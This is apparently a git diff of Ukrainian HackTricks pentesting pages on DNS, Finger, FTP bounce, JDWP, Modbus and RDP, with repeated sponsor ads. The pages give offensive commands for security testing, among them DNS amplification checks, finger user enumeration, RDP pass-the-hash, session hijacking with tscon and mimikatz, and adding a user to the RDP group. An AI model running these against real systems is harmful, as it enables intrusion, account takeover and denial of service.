Ви можете запитувати зворотні IP-діапазони на [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (цей інструмент також корисний для BGP).
Ви можете запитувати реверсні IP-діапазони на [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (цей інструмент також корисний для BGP).
### DNS - Піддомени BF
```bash
@ -149,14 +151,14 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t <domain>
```
Брутфорс зворотного DNS з використанням IPv6 адрес
Брутфорс зворотного DNS, використовуючи IPv6 адреси
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Recursion DDoS
Якщо **включена рекурсія DNS**, зловмисник може **підробити** **джерело** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я та **перевірити**, чи є **позначка "ra"** (_рекурсія доступна_) у відповіді:
Якщо **включена рекурсія DNS**, зловмисник може **підробити** **походження** в UDP-пакеті, щоб змусити **DNS надіслати відповідь на сервер жертви**. Зловмисник може зловживати типами записів **ANY** або **DNSSEC**, оскільки вони зазвичай мають більші відповіді.\
Спосіб **перевірити**, чи підтримує DNS **рекурсію**, - це запитати доменне ім'я та **перевірити**, чи є **прапор "ra"** (_рекурсія доступна_) у відповіді:
```bash
dig google.com A @<IP>
```
@ -170,7 +172,9 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пентестингу**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, зламу оболонок та отримання задоволення.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -181,7 +185,7 @@ dig google.com A @<IP>
Надане повідомлення про ненадання містить інформацію, таку як:
* Генеруючий сервер був ідентифікований як `server.example.com`.
* Повідомлення про помилку для `user@example.com` з кодом помилки `#550 5.1.1 RESOLVER.ADR.RecipNotFound; не знайдено` було повернено.
* Було повернуто повідомлення про помилку для `user@example.com` з кодом помилки `#550 5.1.1 RESOLVER.ADR.RecipNotFound; не знайдено`.
* Внутрішні IP-адреси та імена хостів були розкриті в заголовках оригінального повідомлення.
```markdown
The original message headers were modified for anonymity and now present randomized data:
@ -222,13 +226,13 @@ host.conf
| ----------------- | ------------------------------------------------------------------------------ |
| `allow-query` | Визначає, які хости можуть надсилати запити до DNS сервера. |
| `allow-recursion` | Визначає, які хости можуть надсилати рекурсивні запити до DNS сервера. |
| `allow-transfer` | Визначає, які хости можуть отримувати передачі зон від DNS сервера. |
| `allow-transfer` | Визначає, які хости можуть отримувати передачі зон від DNS сервера. |
| `zone-statistics` | Збирає статистичні дані зон. |
## Посилання
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
* Книга: **Оцінка безпеки мережі 3-е видання**
* Книга: **Оцінка безпеки мережі 3-тє видання**
## HackTricks Автоматичні команди
```
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -299,7 +305,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний pentest з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо pentester'ів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Основна інформація**
Програма/сервіс **Finger** використовується для отримання деталей про комп'ютерних користувачів. Зазвичай надається інформація, яка включає **ім'я користувача, повне ім'я** та, в деяких випадках, додаткові деталі. Ці додаткові деталі можуть включати місцезнаходження офісу та номер телефону (якщо доступно), час входу користувача, період бездіяльності (idle time), останній раз, коли користувач читав електронну пошту, та вміст файлів планів і проектів користувача.
Програма/сервіс **Finger** використовується для отримання деталей про комп'ютерних користувачів. Зазвичай надається інформація, яка включає **ім'я користувача, повне ім'я**, а в деяких випадках, додаткові деталі. Ці додаткові деталі можуть включати місцезнаходження офісу та номер телефону (якщо доступно), час, коли користувач увійшов, період бездіяльності (idle time), останній раз, коли користувач читав електронну пошту, та вміст планів і проектних файлів користувача.
**Порт за замовчуванням:** 79
```
@ -37,7 +39,7 @@ PORT STATE SERVICE
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
```
### **Перерахування користувачів**
### **Перерахунок користувачів**
```bash
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
@ -73,7 +75,9 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -87,7 +91,7 @@ finger @internal@external
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,7 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -35,18 +37,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Кроки
1. Підключіться до свого FTP сервера і зробіть з'єднання пасивним \(команда pasv\), щоб він слухав у директорії, куди жертва сервісу надішле файл
2. Створіть файл, який буде надіслано FTP Middle сервером на жертву сервер \(експлуатація\). Цей файл буде простим текстом з необхідними командами для аутентифікації на жертві сервері, зміни директорії та завантаження файлу на свій сервер.
2. Створіть файл, який буде надіслано FTP Middle сервером на жертву сервер \(експлойт\). Цей файл буде простим текстом з необхідними командами для аутентифікації на жертві сервері, зміни директорії та завантаження файлу на ваш сервер.
3. Підключіться до FTP Middle сервера і завантажте попередній файл
4. Змусьте FTP Middle сервер встановити з'єднання з жертвою сервером і надіслати файл експлуатації
4. Змусьте FTP Middle сервер встановити з'єднання з жертвою сервером і надіслати файл експлойту
5. Захопіть файл на своєму FTP сервері
6. Видаліть файл експлуатації з FTP Middle сервера
6. Видаліть файл експлойту з FTP Middle сервера
Для більш детальної інформації перегляньте пост: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Exploiting
## Експлуатація
Експлуатація JDWP залежить від **відсутності аутентифікації та шифрування протоколу**. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитка для ідентифікації служб JDWP в мережі.
Експлуатація JDWP залежить від **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP у мережі.
Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.
@ -44,10 +46,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
- Не має аутентифікації та шифрування, що робить його вразливим при відкритті до ворожих мереж.
2. **Рукостискання JDWP**:
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьним ASCII рядком “JDWP-Handshake” між Дебагером (клієнтом) та Дебагованим (сервером).
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьним ASCII рядком “JDWP-Handshake” між Дебагером (клієнтом) і Дебагованим (сервером).
3. **Комунікація JDWP**:
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та Набір команд.
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор і Набір команд.
- Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події.
4. **Експлуатація**:
@ -55,11 +57,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
- Стаття детально описує процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
5. **Експлуатація в реальному житті**:
- Незважаючи на потенційні захисти брандмауера, служби JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub.
- Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
- Незважаючи на потенційні захисти брандмауера, сервіси JDWP є виявленими та експлуатованими в реальних сценаріях, як показано пошуками на платформах, таких як ShodanHQ та GitHub.
- Скрипт експлойту був протестований проти різних версій JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
6. **Безпекові наслідки**:
- Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера.
- Наявність відкритих сервісів JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера.
### **Посилання:**
@ -78,7 +80,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Виконуйте повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб дати їм більше часу для глибшого аналізу, отримання доступу до систем та отримання задоволення.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -88,7 +92,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,14 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# Основна інформація
У 1979 році **протокол Modbus** був розроблений компанією Modicon як структура обміну повідомленнями. Його основне використання полягає в полегшенні зв'язку між інтелектуальними пристроями, які працюють за моделлю майстер-раб/клієнт-сервер. Цей протокол відіграє важливу роль у забезпеченні ефективного обміну даними між пристроями.
У 1979 році **протокол Modbus** був розроблений компанією Modicon, слугуючи структурою повідомлень. Його основне використання полягає в полегшенні зв'язку між інтелектуальними пристроями, які працюють за моделлю майстер-раб/клієнт-сервер. Цей протокол відіграє важливу роль у забезпеченні ефективного обміну даними між пристроями.
**Порт за замовчуванням:** 502
```
@ -36,14 +38,16 @@ msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Проведіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, запуску оболонок та отримання задоволення.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Основна інформація
Розроблений компанією Microsoft, **Протокол віддаленого робочого столу** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера **RDP**. Ця установка дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача.
Розроблений Microsoft, **Протокол віддаленого робочого столу** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати на програмному забезпеченні сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично переношуючи його інтерфейс на локальний пристрій користувача.
**Порт за замовчуванням:** 3389
```
@ -40,7 +42,7 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
```
{% endcode %}
Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).
Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію NTLM Windows (версії).
### [Брутфорс](../generic-methodologies-and-resources/brute-force.md#rdp)
@ -62,15 +64,17 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Перевірка відомих облікових даних на сервісах RDP
### Перевірте відомі облікові дані на предмет RDP-сервісів
rdp\_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:
rdp\_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для RDP-сервісу:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пентестингу**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та отримання задоволення.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -78,9 +82,9 @@ rdp_check <domain>/<name>:<password>@<IP>
### Вкрадення сесій
З **дозволами SYSTEM** ви можете отримати доступ до будь-якої **відкритої RDP сесії будь-якого користувача** без необхідності знати пароль власника.
З **дозволами SYSTEM** ви можете отримати доступ до будь-якої **відкритої RDP-сесії будь-якого користувача** без необхідності знати пароль власника.
**Отримати відкриті сесії:**
**Отримайте відкриті сесії:**
```
query user
```
@ -90,7 +94,7 @@ tscon <ID> /dest:<SESSIONNAME>
```
Тепер ви будете всередині вибраної RDP-сесії і вам потрібно буде видати себе за користувача, використовуючи лише інструменти та функції Windows.
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який їх використовував.
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який її використовував.
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші RDP-сесії, відкриті на інших машинах...)
@ -105,17 +109,17 @@ ts::remote /id:2 #Connect to the session
Поєднуючи цю техніку з **stickykeys** або **utilman**, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.
Ви можете шукати RDP, які були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Якщо хтось з іншого домену або з **кращими привілеями входить через RDP** на ПК, де **ви є адміністратором**, ви можете **впровадити** свій маяк у його **процес RDP-сесії** і діяти як він:
Якщо хтось з іншого домену або з **кращими привілеями увійде через RDP** на ПК, де **ви є адміністратором**, ви можете **впровадити** свій маяк у його **процес RDP-сесії** і діяти як він:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Adding User to RDP group
### Додавання користувача до групи RDP
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** - це фреймворк після експлуатації, створений у Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди**, а також контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
**AutoRDPwn** - це фреймворк після експлуатації, створений у Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Контролюйте мишу та клавіатуру автоматизованим способом з командного рядка
@ -153,13 +157,15 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна налаштування для оцінки вразливостей та пенетестингу**. Запустіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетесторів - ми розробляємо кастомні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
